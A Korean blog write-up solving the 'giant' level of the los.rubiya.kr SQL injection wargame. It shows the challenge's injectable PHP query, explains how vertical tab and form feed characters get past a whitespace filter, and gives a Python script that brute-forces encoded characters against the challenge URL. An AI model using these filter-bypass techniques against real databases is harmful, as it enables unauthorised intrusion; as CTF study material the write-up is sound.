[LOS] 14번 giant 풀이

2019. 8. 7. 01:00문제풀이/los.rubiya.kr

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>

갑자기 소스코드가 엄청 짧다.

 

이번 금지 문자열은 공백(띄어쓰기), \n(줄바꿈), \r(Carriage Return), \t(Tab)이고, shit은 1글자여야 한다.

 

sql query를 보면 shift를 이용하여 from과 그 뒤 문자열을 구분해주어야 한다. 단, 위에 적힌 금지 문자열을 쓰지않고!

해당 내용은 5번 wolfman 풀이 때 설명했었다.

 

이 중 띄어쓰기를 우회하는데 사용되는 문자는

%09 :Horizontal Tab
%0a :Line Feed
%0b :Vertical Tab
%0c :Form Feed
%0d :Carriage Return

이 있는데, 본문에서는 \t(%09), \r(%0a, %0d)를 금지했으니까 남은건 %0b와 %w0c이다.

 

...더보기

무작정 대입해서 통과하는 문자 찾기

import urllib.request

url = 'https://los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php'
headers = {}
headers['cookie']=" "
headers['User-Agent']="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"

#length

def find_blank():

    for i in range(0, 31):

        url1 = "?shit=%"+ str(format(i, 'x').zfill(2))

        req = urllib.request.Request(url+url1, headers=headers)
        data = urllib.request.urlopen(req).read().decode('utf-8')

        if(data.find("Clear")!=-1):
            print(f"key: %{str(format(i, 'x').zfill(2))}")
            break


if __name__ == '__main__':

    find_blank()

'문제풀이 > los.rubiya.kr' 카테고리의 다른 글

[LOS] 16번 succubus 풀이  (0) 2019.08.07
[LOS] 15번 assassin 풀이  (0) 2019.08.07
[LOS] 13번 bugbear 풀이  (0) 2019.08.07
[LOS] 12번 darkknight 풀이  (0) 2019.08.06
[LOS] 11번 Golem 풀이  (0) 2019.08.06